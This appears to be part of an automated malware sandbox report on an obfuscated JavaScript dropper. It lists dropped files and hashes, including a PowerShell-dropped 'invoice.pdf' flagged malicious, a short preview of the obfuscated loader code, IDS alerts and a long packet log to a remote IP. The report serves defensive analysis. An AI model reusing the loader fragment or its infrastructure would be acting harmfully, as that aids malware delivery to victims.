Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d403980f-2369-4cc0-8a35-045a6f4b89ef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/vGRGZ2ZwYIGNPzWl7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:2RGZ2ZwZG5W+B3mlind9i4ufFXpAXkru
MD5:	A275F0BF1C423DAA119FAD7E0FEB3F2E
SHA1:	B3265B6DB718A07BCF291B5DC9D58DE51E13FD1C
SHA-256:	045E7CDD3B2E317FB7C2A519BA314C1AA30008D4588094480BDB18B8FF4A7270
SHA-512:	7AD4FFACA5A3A347A011654AA1CD9D6375250F94B21793F2D024D0DCF1EF7A2EF34C7892F9D044F53E68F90F06EF19CC8F1AD8F98DA53387C91678B714AC6CFB
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d9a0856a-0ab3-41ad-afc6-fe8eded313e9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18072), with CRLF line terminators
Entropy (8bit):	4.91381230154946
TrID:
File name:	853025795686920641.js
File size:	21'534 bytes
MD5:	652000f5e22619fb464d434b66a8c19f
SHA1:	eb7b4ff4b886f1be339d2a5c2fab4935a3a03fba
SHA256:	e06cd3495f5e3b343dcd70b2e8294e17657dfe62369fb26a5a8502922ac44d31
SHA512:	cc4393fe48d929ec297e10cec8714242111f71366741f9f10d888f092fed02e12bfba53ec17352ce5d829e5b55e49517c2e6026c63dd9afc1cf9292823bd39f1
SSDEEP:	384:2YeEhucHhFWnVuu88eFR9Td9YS+hEfghlCntUvyotLdFQ7K/kypA:2YTDfghFvJd/kym
TLSH:	F0A22490BA4D6345DBDC0970A0080A9571A456C58BFC68D87D4891EC66AEF2EEDF333F
File Content Preview:	function kzylya(){iodbzf=[1031,3079,5127,4103,2055,3072];var zjyfpcxv=this[urljat+fmihedph+uutkhqhr+gybwltbj+jfujnr+ihqvygokv+mhxmzh+ztrdtypj](this[raifsp+ysbsxb+vyvvgbyfs+uutkhqhr+smadkqnu+urljat+ztrdtypj][ddapi+uutkhqhr+jfujnr+fmihedph+ztrdtypj+jfujnr+v

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:06:18.086327+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T19:06:20.301936+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:06:17.280076027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:17.285032988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:17.285140991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:17.288418055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:17.293216944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.086096048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.086112976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.086132050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.086144924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.086194992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.086206913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.086218119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.086327076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.086342096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.086354971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.086374044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.086400032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.086422920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.091156006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.091176987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.091237068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.140847921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.140860081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.140870094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.140932083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.192591906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.211818933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.211841106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.211853027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.211910963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.211942911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.211983919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.212018967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.212032080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.212044001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.212068081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.212542057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.212584972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.212588072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.212599993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.212636948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.212961912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.213031054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.213042974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.213073015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.213094950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.213107109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.213146925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.213840008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.213861942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.213875055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.213886023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.213912964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.213939905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.213953972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.214011908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.214664936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.227401018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.227477074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.265516043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.265554905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.265568018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.265588045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.265598059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.265685081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.298650026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.298671007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.298774004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.336572886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.336606979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.336621046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.336641073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.336653948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.336666107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.336679935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.336694956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.336738110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.336781979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.337160110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.337172031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.337215900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.337311983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.337326050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.337337971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.337363005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.337438107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.337457895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.337483883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.337908030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.337920904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.337933064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.337959051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.337990046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.338018894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.338033915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.338046074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.338058949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.338078976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.338099957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.338776112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.338799000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.338810921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.338861942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.338888884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.338902950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.338913918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.338943958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.338944912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.338954926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.339687109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.339700937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.339714050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.339737892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.339754105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.339823008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.339835882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.339848042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.339862108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.339874983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.339907885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.340584040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.340595961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.340610027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.340656996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.352190971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.352217913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.352245092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.390311003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.390341043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.390353918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.390368938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.390431881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.390451908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.390464067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.390510082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.390531063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.390544891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.390557051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.390585899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.390695095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.390713930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.390743017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.423249960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.423276901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.423343897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.461080074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461097956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461118937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461132050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461153984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461167097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461179018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.461179972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461220980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.461411953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461433887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461448908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461461067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.461488962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.461622000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461636066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461649895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461683035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.461720943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461735010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461762905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.461810112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461822987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461836100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.461852074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.461884022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.462243080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.462290049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.462301970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.462330103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.462368011 CET	80	49730	193.143.1.205	192.168.2.4
